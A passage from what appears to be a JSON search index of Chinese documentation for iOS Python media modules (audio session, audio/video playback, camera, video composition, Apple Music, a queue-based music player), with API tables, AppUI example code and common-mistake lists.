丢弃半成品,不返回结果。 状态与电平 status() 返回: 字段 说明 `recording` / `paused` 是否录音 / 暂停 `duration` 已录秒数 `average_power` / `peak_power` 电平 dBFS(0 最大,负值更安静) `path` 当前文件路径 st = audio_recorder.status()\nmeter = audio_recorder.metering() 轮询建议 ≥ 0.1s 间隔(如 appui.Timer)。 异常 失败时抛出 AudioRecorderError,常见 code: `code` 含义 `already_recording` 重复 `start()` `start_failed` 无法启动(含权限或会话占用) 常见错误 错误写法 后果 修正 在 `body()` 里 `start()` 刷新时重复录音 放进按钮回调 把 `permission.request()` 当 bool 判断错误且暂不支持 用 `try/except` 处理 `start()` 高频轮询 `status()` CPU 浪费 `Timer(interval=0.1)` 放弃录音不 `cancel()` 留下垃圾文件 调用 `cancel()` 相关文档 文档 用途 [speech_recognition](speech-recognition-module) 录音文件转文字 [sound](sound-module) 播放本地音频 [permission](permission-module) 权限状态查询 [原生能力入口](miniapp-native-capabilities) MiniApp 场景配方 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "audio-session-module", + "title": "audio_session", + "subtitle": "配置共享 AVAudioSession。", + "section": "iOS 原生模块 / 媒体", + "url": "pages/audio-session-module/", + "text": "audio_session 配置共享 AVAudioSession。 iOS 原生模块 媒体 audio_session audio_session audio-session audio_session 配置共享 AVAudioSession:设置音频类别、激活会话、查询当前输入/输出路由。 边界 :影响全 App 的音频行为,通常在播放/录音 之前 配置。与 sound、avplayer、audio_recorder 配合使用。不需要单独权限,但会改变其他模块的音频路由;配置放在按钮回调或启动流程,不要在 body() 里反复切换。 模块概览 项 说明 导入 `import audio_session` 适合做什么 后台播放、录音+外放、语音通话模式、查耳机/扬声器路由 调用时机 播放/录音前 `set_category` → `set_active(True)` 推荐顺序 设类别 → 激活 → 使用音频模块 → 可选 `set_active(False)` 全局影响 改类别会影响其他正在播放的音频 快速开始 下面脚本切换到播放模式并查看当前路由: import audio_session\n\ntry:\n audio_session.set_category(\"playback\")\n audio_session.set_active(True)\n route = audio_session.current_route()\n print(\"输出:\", route.get(\"outputs\"))\n print(\"输入:\", route.get(\"inputs\"))\nexcept audio_session.AudioSessionError as exc:\n print(\"配置失败:\", exc, f\"code={exc.code}\") 录音场景常用 playAndRecord + defaultToSpeaker: import audio_session\n\naudio_session.set_category(\n \"playAndRecord\",\n mode=\"voiceChat\",\n options=[\"defaultToSpeaker\", \"mixWithOthers\"],\n)\naudio_session.set_active(True) AppUI 示例 类别切换和路由查询放在按钮回调。 import appui\nimport audio_session\n\nstate = appui.State(\n category=\"未设置\",\n outputs=\"—\",\n status=\"点击按钮配置音频会话\",\n)\n\n\ndef refresh_route():\n try:\n route = audio_session.current_route() or {}\n outs = route.get(\"outputs\") or []\n if outs:\n names = [o.get(\"name\", \"?\") for o in outs]\n state.outputs = \" · \".join(names)\n else:\n state.outputs = \"无输出设备\"\n except audio_session.AudioSessionError as exc:\n state.outputs = f\"查询失败: {exc}\"\n\n\ndef use_playback():\n try:\n audio_session.set_category(\"playback\", options=[\"mixWithOthers\"])\n audio_session.set_active(True)\n state.batch_update(category=\"playback\", status=\"已切换为播放模式\")\n refresh_route()\n except audio_session.AudioSessionError as exc:\n state.status = f\"失败: {exc}\"\n\n\ndef use_record():\n try:\n audio_session.set_category(\n \"playAndRecord\",\n options=[\"defaultToSpeaker\"],\n )\n audio_session.set_active(True)\n state.batch_update(category=\"playAndRecord\", status=\"已切换为录音模式\")\n refresh_route()\n except audio_session.AudioSessionError as exc:\n state.status = f\"失败: {exc}\"\n\n\ndef deactivate():\n try:\n audio_session.set_active(False)\n state.status = \"会话已停用\"\n except audio_session.AudioSessionError as exc:\n state.status = f\"停用失败: {exc}\"\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"当前状态\", [\n appui.LabeledContent(\"类别\", value=state.category),\n appui.LabeledContent(\"输出路由\", value=state.outputs),\n ]),\n appui.Section(\"操作\", [\n appui.Button(\"播放模式\", action=use_playback)\n .button_style(\"bordered_prominent\"),\n appui.Button(\"录音模式\", action=use_record),\n appui.Button(\"刷新路由\", action=refresh_route),\n appui.Button(\"停用会话\", action=deactivate, role=\"destructive\"),\n appui.Text(state.status).foreground_color(\"secondaryLabel\"),\n ], footer=\"切换类别会影响其他正在播放的音频。\"),\n ]).navigation_title(\"音频会话\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `set_category(category, mode, options)` 设置音频类别 `set_active(active)` 激活 / 停用会话 `current_route()` 当前输入/输出路由 `AudioSessionError` 配置失败时抛出 set_category set_category(category, mode=None, options=None) category 说明 `playback` 后台播放(默认回退值) `record` 仅录音 `playAndRecord` / `play_and_record` 播放 + 录音 `ambient` 与其他 App 混音 `soloAmbient` / `solo_ambient` 独占环境音 `multiRoute` 多路由 mode 说明 `voiceChat` / `voice_chat` 语音通话 `videoChat` / `video_chat` 视频通话 `spokenAudio` / `spoken_audio` 有声内容 `measurement` 测量 `default` 默认 options 说明 `mixWithOthers` 与其他 App 混音 `duckOthers` 压低其他 App 音量 `defaultToSpeaker` 默认外放扬声器 `bluetooth` 允许蓝牙 `airplay` 允许 AirPlay set_active set_active(active=True) — 激活或停用共享音频会话。 current_route current_route() 返回: {\n \"inputs\": [{\"name\": \"...\", \"type\": \"...\"}],\n \"outputs\": [{\"name\": \"...\", \"type\": \"...\"}],\n} 常见错误 错误写法 后果 修正 在 `body()` 里反复 `set_category` 每次刷新都改全局音频 放进按钮或启动回调 录音前不设 `playAndRecord` 录音无声或路由错误 录音前配置类别 与 [audio_recorder](audio-recorder-module) 类别冲突 启动失败或无声 统一在录音前设好类别 忘记 `set_active(True)` 配置不生效 类别后激活会话 相关文档 文档 用途 [sound](sound-module) 播放音效 [avplayer](avplayer-module) 音视频播放 [audio_recorder](audio-recorder-module) 麦克风录音 [speech](speech-module) 语音合成 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "avplayer-module", + "title": "avplayer", + "subtitle": "音视频加载、播放控制和原生播放器。", + "section": "iOS 原生模块 / 媒体", + "url": "pages/avplayer-module/", + "text": "avplayer 音视频加载、播放控制和原生播放器。 iOS 原生模块 媒体 Audio Video Playback avplayer audio video playback present video progress avplayer 脚本级音视频播放:加载远程/本地 URL、播放控制、跳转、调速与系统视频播放器。 边界 :底层 AVPlayer 能力,适合纯脚本或非 AppUI 场景。AppUI 页面内嵌视频请用 AppUI 媒体控件 的 VideoPlayer / PlayerController;短音效用 sound。切换媒体或离开页面时调用 cleanup()。 模块概览 项 说明 导入 `import avplayer` 适合做什么 播放 URL 流、脚本内播放控制、弹出系统视频播放器 调用时机 加载/播放在按钮回调;页面关闭时 `cleanup()` 推荐顺序 `load(url)` 成功 → `play()` → 控制 → `cleanup()` 与 AppUI 不要混用 `avplayer` 和 `appui.VideoPlayer` 控制同一媒体 快速开始 下面脚本加载示例流、播放并清理: import avplayer\n\nurl = (\n \"https://devstreaming-cdn.apple.com/videos/streaming/examples/\"\n \"img_bipbop_adv_example_ts/master.m3u8\"\n)\n\nif avplayer.load(url):\n avplayer.set_volume(0.8)\n avplayer.play()\n print(\"时长:\", avplayer.duration(), \"秒\")\n print(\"当前:\", avplayer.current_time(), \"秒\")\n avplayer.pause()\n avplayer.cleanup()\nelse:\n print(\"媒体加载失败\") AppUI 示例 脚本级播放控制演示;AppUI 内嵌视频请改用 PlayerController。 import appui\nimport avplayer\n\nDEMO_URL = (\n \"https://devstreaming-cdn.apple.com/videos/streaming/examples/\"\n \"img_bipbop_adv_example_ts/master.m3u8\"\n)\n\nstate = appui.State(\n status=\"未加载\",\n position=\"0:00\",\n duration=\"—\",\n loaded=False,\n)\n\n\ndef _format_time(seconds):\n seconds = max(0, int(seconds))\n return f\"{seconds // 60}:{seconds % 60:02d}\"\n\n\ndef load_media():\n ok = avplayer.load(DEMO_URL)\n state.loaded = ok\n if ok:\n dur = avplayer.duration()\n state.batch_update(\n status=\"已加载\",\n duration=_format_time(dur) if dur else \"—\",\n position=\"0:00\",\n )\n else:\n state.batch_update(status=\"加载失败\", loaded=False)\n\n\ndef play_media():\n if not state.loaded:\n state.status = \"请先加载媒体\"\n return\n avplayer.play()\n state.status = \"播放中\"\n\n\ndef pause_media():\n avplayer.pause()\n state.status = \"已暂停\"\n\n\ndef refresh_position():\n if not state.loaded:\n return\n state.position = _format_time(avplayer.current_time())\n if avplayer.is_playing():\n state.status = \"播放中\"\n dur = avplayer.duration()\n if dur:\n state.duration = _format_time(dur)\n\n\ndef present_player():\n if not state.loaded:\n state.status = \"请先加载媒体\"\n return\n avplayer.present_video()\n state.status = \"已打开系统播放器\"\n\n\ndef cleanup_media():\n avplayer.cleanup()\n state.batch_update(\n loaded=False,\n status=\"已清理\",\n position=\"0:00\",\n duration=\"—\",\n )\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"媒体\", [\n appui.LabeledContent(\"状态\", value=state.status),\n appui.LabeledContent(\"进度\", value=f\"{state.position} / {state.duration}\"),\n ]),\n appui.Section(\"控制\", [\n appui.Button(\"加载示例流\", action=load_media)\n .button_style(\"bordered_prominent\"),\n appui.Button(\"播放\", action=play_media),\n appui.Button(\"暂停\", action=pause_media),\n appui.Button(\"刷新进度\", action=refresh_position),\n appui.Button(\"系统视频播放器\", action=present_player),\n appui.Button(\"清理资源\", action=cleanup_media, role=\"destructive\"),\n ], footer=\"需要网络;HLS 示例流仅供演示。\"),\n ]).navigation_title(\"音视频播放\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `load(url)` 加载媒体 → `bool` `play()` / `pause()` / `stop()` 播放控制 `seek(seconds)` 跳转到指定秒数 `duration()` / `current_time()` 总时长 / 当前位置(秒) `is_playing()` 是否正在播放 `set_volume(v)` / `set_rate(r)` 音量 / 倍速 `present_video()` 弹出系统视频播放器 `cleanup()` 释放资源 模块级播放 import avplayer\n\nif avplayer.load(\"https://example.com/audio.mp3\"):\n avplayer.set_volume(0.8)\n avplayer.set_rate(1.0)\n avplayer.play()\n avplayer.seek(30)\n avplayer.pause()\n avplayer.cleanup() API 说明 `load(url)` 成功返回 `True`;失败不要调用播放 `duration()` 未准备好时可能为 `0` `present_video()` 仅适合视频;音频不要用 `cleanup()` 切换媒体或脚本结束前调用 命名实例 Player 多路播放或脚本隔离时用 Player(id=\"main\"): player = avplayer.Player(id=\"main\")\nplayer.load(url)\nplayer.play()\nprint(player.duration(), player.current_time())\nplayer.cleanup() 方法与模块级函数相同,另支持 on_progress、on_end、on_error 等回调(高级场景)。 与 AppUI 的分工 场景 推荐 AppUI 页面内嵌视频 `appui.PlayerController` + `appui.VideoPlayer` 纯脚本 / 兼容旧代码 `avplayer` 短音效 [sound](sound-module) import appui\n\nplayer = appui.PlayerController(id=\"main\", url=\"https://example.com/video.m3u8\")\n\ndef body():\n return appui.VideoPlayer(player=player) 常见错误 错误写法 后果 修正 未 `load` 就 `play()` 无媒体可播 先检查 `load(url)` 音频文件 `present_video()` 界面不合适 仅视频使用 退出不 `cleanup()` 资源占用 切换或关闭时清理 AppUI 混用两套 API 状态冲突 选一种方案 相关文档 文档 用途 [AppUI 媒体控件](appui-ref-media) 页面内 `VideoPlayer` [sound](sound-module) 短音效与本地音频 [network](network-module) 下载媒体到本地 [原生能力入口](miniapp-native-capabilities) MiniApp 场景配方 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "camera-module", + "title": "camera", + "subtitle": "系统相机拍照与 AppUI CameraPicker。", + "section": "iOS 原生模块 / 媒体", + "url": "pages/camera-module/", + "text": "camera 系统相机拍照与 AppUI CameraPicker。 iOS 原生模块 媒体 Camera Capture Photo camera capture_image CameraPicker 拍照 相机 camera 系统相机拍照:弹出相机界面,返回 PIL.Image 或 Base64 字符串。 边界 :无独立 import camera 模块,拍照 API 在 photos 的 capture_image() / capture_image_base64()。录像请用 video_recorder。统一 permission 的 request(\"camera\") 暂不支持弹窗 ;首次拍照时系统可能提示,或在设置中开启相机权限。 模块概览 项 说明 导入 `import photos` 适合做什么 拍照存档、视觉识别前置、现场采集图片 调用时机 `capture_image()` 放在按钮回调;不要写在 AppUI `body()` 中 推荐顺序 用户点击 → `capture_image()` → 判空 → 处理或 `save_image()` AppUI 替代 声明式界面可用 `appui.CameraPicker`(回调返回文件路径) 快速开始 下面脚本打开相机拍一张,打印尺寸;用户取消时友好退出: import photos\n\nimage = photos.capture_image()\nif image is None:\n print(\"用户取消拍照\")\nelse:\n width, height = photos.get_image_size(image)\n print(f\"已拍摄 {width}×{height}\")\n ok = photos.save_image(image, format=\"JPEG\", quality=0.85)\n print(\"保存到相册:\", \"成功\" if ok else \"失败\") 需要 Base64(如 vision_helper)时: import photos\n\npayload = photos.capture_image_base64(format=\"JPEG\", quality=0.85)\nif payload:\n print(\"Base64 长度:\", len(payload)) AppUI 示例 { appui camera picker} 脚本式拍照放按钮回调;界面内也可嵌入 CameraPicker。 import appui\nimport photos\n\nstate = appui.State(\n status=\"等待操作\",\n size=\"—\",\n path=\"\",\n message=\"点击按钮或下方拍照控件\",\n)\n\n\ndef capture_with_photos():\n image = photos.capture_image()\n if image is None:\n state.batch_update(\n status=\"已取消\",\n size=\"—\",\n path=\"\",\n message=\"用户取消拍照\",\n )\n return\n\n width, height = photos.get_image_size(image)\n state.batch_update(\n status=\"已拍照\",\n size=f\"{width}×{height}\",\n path=\"内存图像(PIL/bytes)\",\n message=\"可用 save_image 写入相册\",\n )\n\n\ndef on_camera_picked(path):\n state.batch_update(\n status=\"CameraPicker 完成\",\n size=\"—\",\n path=path or \"\",\n message=\"已取消\" if not path else \"收到临时文件路径\",\n )\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"脚本拍照\", [\n appui.Button(\"打开相机(photos)\", action=capture_with_photos)\n .button_style(\"bordered_prominent\"),\n ]),\n appui.Section(\"声明式拍照\", [\n appui.CameraPicker(\n source=\"camera\",\n media_type=\"photo\",\n on_captured=on_camera_picked,\n label=appui.Label(\"拍照\", system_image=\"camera.fill\"),\n ),\n ]),\n appui.Section(\"结果\", [\n appui.LabeledContent(\"状态\", value=state.status),\n appui.LabeledContent(\"尺寸\", value=state.size),\n appui.Text(state.path).font(\"caption\").foreground_color(\"secondaryLabel\"),\n appui.Text(state.message).foreground_color(\"secondaryLabel\"),\n ], footer=\"真机测试最可靠;模拟器可能无相机。\"),\n ]).navigation_title(\"相机\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `capture_image(...)` 系统相机拍照 → `PIL.Image` / `None` `capture_image_base64(...)` 拍照 → Base64 字符串 / `None` `save_image(image, ...)` 保存到相册 → `bool` `get_image_size(image)` 尺寸 → `(width, height)` `appui.CameraPicker(...)` AppUI 相机控件,回调文件路径 拍照 capture_image(camera=\"back\", show_preview=True, flash=\"auto\", kwargs) image = photos.capture_image()\nif image is None:\n print(\"取消或失败\") camera、flash 等参数为 Pythonista 兼容入口,实际由系统相机界面控制。取消返回 None。 capture_image_base64(format=\"JPEG\", quality=0.85) — 直接返回 Base64,适合传给 vision_helper。 AppUI CameraPicker 参数 说明 `source` `camera`(后置)/ `front`(前置) `media_type` `photo` / `video` `on_captured` 回调 `(path: str)`,取消时可能为空 `label` 自定义按钮内容 def on_selfie_captured(path):\n print(path)\n\n\nappui.CameraPicker(\n source=\"front\",\n media_type=\"photo\",\n on_captured=on_selfie_captured,\n label=appui.Label(\"自拍\", system_image=\"camera\"),\n) CameraPicker 把图片写到临时目录并返回路径;photos.capture_image() 返回内存图像对象。 权限 import permission\n\nentry = permission.status(\"camera\") # 仅查询,不弹窗 permission.request(\"camera\") 当前 不会 弹出授权框;直接调用 capture_image(),由系统在需要时提示。 常见错误 错误写法 后果 修正 `if permission.request(\"camera\"):` 判断错误且暂不支持 直接 `capture_image()` 并判 `None` 在 `body()` 里 `capture_image()` 刷新时反复弹相机 放进按钮回调 不处理 `None` 用户取消后崩溃 `if image is None: return` 录像用 `capture_image()` 无法录视频 用 [video_recorder](video-recorder-module) 或 `CameraPicker(media_type=\"video\")` 相关文档 文档 用途 [photos](photos-module) 选图、相册读写、保存 [video_recorder](video-recorder-module) 摄像头录像 [vision_helper](vision-helper-module) Base64 检测 [permission](permission-module) 相机权限状态查询 [AppUI 媒体参考](appui-ref-media) CameraPicker 完整签名 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "media-composer-module", + "title": "media_composer", + "subtitle": "视频合并、配音与导出。", + "section": "iOS 原生模块 / 媒体", + "url": "pages/media-composer-module/", + "text": "media_composer 视频合并、配音与导出。 iOS 原生模块 媒体 media_composer media_composer media-composer media_composer 视频合成与导出:按顺序拼接视频、为视频替换/添加音轨、转码导出 MP4。 边界 :基于 AVFoundation,操作可能耗时较长(阻塞脚本数秒到两分钟)。输入/输出路径须为 App 可访问的本地文件;合成放在按钮回调,不要在 body() 中自动执行。素材可先由 video_recorder 或 photos 获得。 模块概览 项 说明 导入 `import media_composer` 适合做什么 多段录像拼接、替换背景音、统一导出 MP4 调用时机 用户确认后调用;显示进度/状态中 推荐顺序 确认源文件存在 → `merge_videos` / `merge_audio` / `export` → 校验输出路径 输出格式 当前 Bridge 导出为 `.mp4` 快速开始 下面脚本检查素材是否存在,再合并导出: import os\nimport media_composer\n\nclip = os.path.join(os.path.expanduser(\"~/Documents\"), \"clip1.mov\")\nout = os.path.join(os.path.expanduser(\"~/Documents\"), \"merged.mp4\")\n\nif not os.path.exists(clip):\n print(\"请先把视频放到:\", clip)\nelse:\n try:\n path = media_composer.merge_videos([clip], out)\n print(\"已导出:\", path)\n except media_composer.MediaComposerError as exc:\n print(\"合成失败:\", exc, f\"code={exc.code}\") 为视频替换音轨: import media_composer\n\nmedia_composer.merge_audio(\"video.mov\", \"audio.m4a\", \"output.mp4\") AppUI 示例 合成放在按钮回调;先检查文件是否存在再执行。 import appui\nimport os\nimport media_composer\n\nDOCS = os.path.expanduser(\"~/Documents\")\nCLIP = os.path.join(DOCS, \"clip1.mov\")\nOUTPUT = os.path.join(DOCS, \"merged.mp4\")\n\nstate = appui.State(\n input_path=CLIP,\n output_path=OUTPUT,\n result=\"—\",\n status=\"准备好素材后点击合成\",\n)\n\n\ndef run_merge():\n if not os.path.exists(state.input_path):\n state.batch_update(\n result=\"—\",\n status=f\"找不到源文件: {state.input_path}\",\n )\n return\n\n try:\n path = media_composer.merge_videos([state.input_path], state.output_path)\n state.batch_update(\n result=path or state.output_path,\n status=\"合成完成\",\n )\n except media_composer.MediaComposerError as exc:\n state.batch_update(\n result=\"—\",\n status=f\"失败: {exc}\",\n )\n\n\ndef body():\n exists = \"存在\" if os.path.exists(state.input_path) else \"缺失\"\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"素材\", [\n appui.LabeledContent(\"源视频\", value=state.input_path),\n appui.LabeledContent(\"状态\", value=exists),\n appui.LabeledContent(\"输出\", value=state.output_path),\n ]),\n appui.Section(\"操作\", [\n appui.Button(\"合并导出 MP4\", action=run_merge)\n .button_style(\"bordered_prominent\"),\n appui.LabeledContent(\"结果\", value=state.result),\n appui.Text(state.status).foreground_color(\"secondaryLabel\"),\n ], footer=\"请先把 clip1.mov 放到 Documents;合成可能耗时。\"),\n ]).navigation_title(\"视频合成\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `merge_videos(paths, output_path)` 按顺序拼接视频 `merge_audio(video_path, audio_path, output_path)` 视频 + 音轨合成 `export(input_path, output_path, format)` 转码/导出 `MediaComposerError` 操作失败时抛出 merge_videos merge_videos(paths, output_path) str path = media_composer.merge_videos(\n [\"part1.mov\", \"part2.mov\"],\n \"final.mp4\",\n) 按列表顺序拼接各文件的视频轨道;无视频轨的文件会被跳过。返回输出路径。 merge_audio merge_audio(video_path, audio_path, output_path) str path = media_composer.merge_audio(\n \"silent.mov\",\n \"voice.m4a\",\n \"with_audio.mp4\",\n) 取视频的画面轨与音频文件的音轨,时长取两者较短者。 export export(input_path, output_path, format=\"mp4\") str path = media_composer.export(\"input.mov\", \"output.mp4\") format 为兼容参数;当前 Bridge 统一导出 MP4。 异常 `code` 含义 `invalid_input` 路径缺失或列表为空 `compose_failed` 无法创建合成轨道 `export_failed` 导出会话失败或超时 常见错误 错误写法 后果 修正 在 `body()` 里合成 每次刷新都重跑 放进按钮回调 源文件不存在 `export_failed` / 空输出 先 `os.path.exists()` 空 `paths` 列表 `invalid_input` 至少提供一个视频 合成中反复点按钮 重复阻塞 加状态锁或禁用按钮 相关文档 文档 用途 [video_recorder](video-recorder-module) 采集视频素材 [avplayer](avplayer-module) 预览合成结果 [photos](photos-module) 保存视频到相册 [audio_recorder](audio-recorder-module) 采集配音素材 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "music-module", + "title": "music", + "subtitle": "Apple Music 播放控制与曲库搜索。", + "section": "iOS 原生模块 / 媒体", + "url": "pages/music-module/", + "text": "music Apple Music 播放控制与曲库搜索。 iOS 原生模块 媒体 Music MusicKit Playback music musickit apple music 播放 音乐 music Apple Music 播放控制与曲库搜索:播放/暂停、切歌、当前曲目、目录检索(MusicKit)。 边界 :控制 系统 Apple Music 播放与目录搜索,不播放本地文件。需 MusicKit 授权;无订阅时搜索仍可用, 播放需要有效 Apple Music 订阅 。必须先 play_song() / play_songs() 设置队列,再 play() 继续播放。 模块概览 项 说明 导入 `import music` 适合做什么 播放控制面板、曲库搜索、显示正在播放 调用时机 播放/搜索放在按钮回调 推荐顺序 `request_authorization()` → `search()` → `play_song(id)` 授权 `authorization_status()` 查询;`request_authorization()` 弹窗 快速开始 申请授权、搜索并播放第一首: import music\n\nprint(\"授权状态:\", music.authorization_status())\nif music.request_authorization():\n results = music.search(\"Beatles\", limit=5)\n if results:\n music.play_song(results[0][\"id\"])\n print(\"正在播放:\", music.current_track()) 暂停与继续: import music\n\nmusic.pause()\nmusic.play() # 仅当队列里已有曲目时可用 AppUI 示例 先搜索保存曲目 ID,再播放;play() 只用于暂停后继续。 import appui\nimport music\n\nstate = appui.State(\n auth=\"—\",\n track=\"—\",\n search_hit=\"—\",\n queued_song_id=\"\",\n)\n\n\ndef refresh_auth():\n state.auth = music.authorization_status()\n\n\ndef request_auth():\n ok = music.request_authorization()\n refresh_auth()\n state.search_hit = \"已授权\" if ok else \"未授权\"\n\n\ndef search_demo():\n refresh_auth()\n if state.auth != \"authorized\":\n state.search_hit = \"请先授权\"\n return\n\n songs = music.search(\"钢琴\", limit=3) or []\n if not songs:\n state.search_hit = \"无结果\"\n state.queued_song_id = \"\"\n return\n\n first = songs[0]\n state.queued_song_id = str(first.get(\"id\") or \"\")\n state.search_hit = f\"{first.get('title')} — {first.get('artist')}\"\n\n\ndef play_selected():\n refresh_auth()\n if state.auth != \"authorized\":\n state.search_hit = \"请先授权\"\n return\n if not state.queued_song_id:\n state.search_hit = \"请先搜索曲目\"\n return\n\n try:\n music.play_song(state.queued_song_id)\n track = music.current_track()\n if track:\n state.track = f\"{track.get('title')} — {track.get('artist')}\"\n else:\n state.track = \"已开始播放\"\n state.search_hit = \"播放中\"\n except music.MusicError as err:\n state.search_hit = str(err)\n if err.code == \"subscription_required\":\n state.track = \"需要 Apple Music 订阅\"\n\n\ndef resume_playback():\n try:\n music.play()\n track = music.current_track()\n if track:\n state.track = f\"{track.get('title')} — {track.get('artist')}\"\n state.search_hit = \"继续播放\"\n except music.MusicError as err:\n state.search_hit = str(err)\n\n\ndef pause_track():\n music.pause()\n state.track = \"已暂停\"\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"授权\", [\n appui.Button(\"申请 MusicKit 授权\", action=request_auth)\n .button_style(\"bordered_prominent\"),\n ]),\n appui.Section(\"控制\", [\n appui.Button(\"搜索「钢琴」\", action=search_demo),\n appui.Button(\"播放搜索结果\", action=play_selected)\n .button_style(\"bordered_prominent\"),\n appui.Button(\"继续播放\", action=resume_playback),\n appui.Button(\"暂停\", action=pause_track),\n ]),\n appui.Section(\"状态\", [\n appui.LabeledContent(\"授权\", value=state.auth),\n appui.LabeledContent(\"正在播放\", value=state.track),\n appui.LabeledContent(\"搜索\", value=state.search_hit),\n ], footer=\"播放前需先搜索;无订阅时可能返回 subscription_required。\"),\n ]).navigation_title(\"Apple Music\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `authorization_status()` `not_determined` / `denied` / `restricted` / `authorized` `request_authorization()` 申请授权 → `bool` `search(term, limit=25)` 曲库搜索 → `[{id, title, artist, album}, ...]` `play_song(song_id)` 用目录 ID 建队列并播放(**推荐**) `play_songs(song_ids)` 多首入队并播放 `play_search_result(song)` 播放 `search()` 返回的单条 dict `play()` 继续播放当前队列(队列空 → `empty_queue`) `pause()` 暂停 `skip_to_next()` / `skip_to_previous()` 切歌 `current_track()` `{'id','title','artist','album','duration'}` 或 `None` 授权 status = music.authorization_status()\nif music.request_authorization():\n ... 搜索与播放 songs = music.search(\"Beatles\", limit=10)\nmusic.play_song(songs[0][\"id\"])\n# 或\nmusic.play_search_result(songs[0])\n\nmusic.pause()\nmusic.play() # resume\ntrack = music.current_track() 失败抛 MusicError,常见 code: code 含义 `denied` 未授权 `empty_queue` 队列空时调用了 `play()` `not_found` 目录 ID 无效 `subscription_required` 可能需要 Apple Music 订阅 `playback_failed` 其他播放错误 常见错误 错误写法 后果 修正 未授权就 `search` / `play_song` `MusicError: denied` 先 `request_authorization()` 直接 `play()` 不搜歌 `empty_queue` 先 `play_song(id)` 期望播放本地 MP3 能力不匹配 用 [avplayer](avplayer-module) 无订阅强行播放 `subscription_required` 开通 Apple Music 或只展示搜索结果 相关文档 文档 用途 [avplayer](avplayer-module) 本地/网络音视频播放 [audio_session](audio-session-module) 音频会话配置 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "music-player-module", + "title": "music_player", + "subtitle": "队列式原生音乐播放器、锁屏控制和播放恢复。", + "section": "iOS 原生模块 / 媒体", + "url": "pages/music-player-module/", + "text": "music_player 队列式原生音乐播放器、锁屏控制和播放恢复。 iOS 原生模块 媒体 Music Queue Playback NowPlaying RemoteCommand music_player queue playlist remote command now playing lock screen 音乐播放器 队列 锁屏控制 music_player 队列式原生音乐播放器:维护当前歌曲、播放队列、播放模式、进度、错误状态、锁屏 Now Playing、控制中心按钮和上次播放恢复。 边界 :music_player 播放你自己的 URL / 本地音频队列;music 是 Apple Music / MusicKit;avplayer 是低层单媒体播放器;now_playing 只发布元数据。播放、切歌、恢复和系统控制属于副作用,放在按钮回调、页面初始化或用户确认流程里,不要在 AppUI body() 中反复调用。 模块概览 项 说明 导入 `import music_player` 适合做什么 音乐 MiniApp、歌单播放器、搜索结果播放、后台音乐播放 不适合做什么 Apple Music 资料库控制、短音效、AppUI 内嵌视频 状态归属 宿主全局播放器服务 系统集成 可选 Now Playing、控制中心 / 锁屏按钮、后台音频 恢复 `restore()` 恢复上次队列、当前歌曲、进度和播放模式 快速开始 import music_player\n\nsongs = [\n {\n \"title\": \"Demo Track\",\n \"artist\": \"PythonIDE\",\n \"url\": \"https://example.com/demo.mp3\",\n \"artwork_url\": \"https://example.com/cover.jpg\",\n }\n]\n\nmusic_player.set_queue(songs, start_index=0)\nmusic_player.play()\nprint(music_player.state()) 如果队列里的歌曲已经带有真实音频 URL,可以让宿主提前准备后面的几首,降低下一曲等待: music_player.set_queue(songs, start_index=0, autoplay=True, preload_count=3)\nmusic_player.prefetch_next(count=3) preload_count / prefetch_next() 只预加载已经有 url 的音频。搜索平台 ID、聚合源 ID 或需要签名换链的歌曲,应先在你的 MiniApp 后台解析成真实 URL,再交给 music_player。 如果不想显示锁屏卡片或接管控制中心按钮,在播放前关闭: music_player.configure(\n now_playing=False,\n remote_commands=False,\n background=False,\n) AppUI 示例 UI 完全由你自己写,播放器只提供能力: import json\nimport appui\nimport music_player\n\nsongs = [\n {\n \"title\": \"Night Demo\",\n \"artist\": \"PythonIDE\",\n \"url\": \"https://example.com/night.mp3\",\n \"artwork_url\": \"https://example.com/night.jpg\",\n },\n {\n \"title\": \"Morning Demo\",\n \"artist\": \"PythonIDE\",\n \"url\": \"https://example.com/morning.mp3\",\n },\n]\n\nstate = appui.State(\n title=\"未播放\",\n artist=\"\",\n status=\"ready\",\n elapsed=\"0:00\",\n mode=\"sequence\",\n)\n\n\ndef handle_player_event(payload):\n data = json.loads(payload or \"{}\")\n current = data.get(\"current\") or {}\n state.title = current.get(\"title\") or current.get(\"name\") or \"未播放\"\n state.artist = current.get(\"artist\") or \"\"\n state.status = data.get(\"state\", \"ready\")\n seconds = int(data.get(\"elapsed\") or 0)\n state.elapsed = f\"{seconds // 60}:{seconds % 60:02d}\"\n\n\nmusic_player.on_event(\n handle_player_event,\n events=[\"ready\", \"play\", \"pause\", \"current\", \"ended\", \"progress\", \"remote_command\"],\n)\n\n\ndef load_and_play():\n music_player.configure(now_playing=True, remote_commands=True, background=True)\n music_player.set_queue(songs, start_index=0)\n music_player.play()\n\n\ndef toggle_mode():\n next_mode = \"repeat_all\" if state.mode == \"sequence\" else \"shuffle\" if state.mode == \"repeat_all\" else \"sequence\"\n state.mode = next_mode\n music_player.set_play_mode(next_mode)\n\n\ndef body():\n return appui.NavigationStack(\n appui.VStack([\n appui.Text(state.title).font(\"title2\").bold(),\n appui.Text(state.artist or \"—\").foreground_color(\"secondaryLabel\"),\n appui.Text(f\"{state.status} · {state.elapsed}\").font(\"caption\"),\n appui.HStack([\n 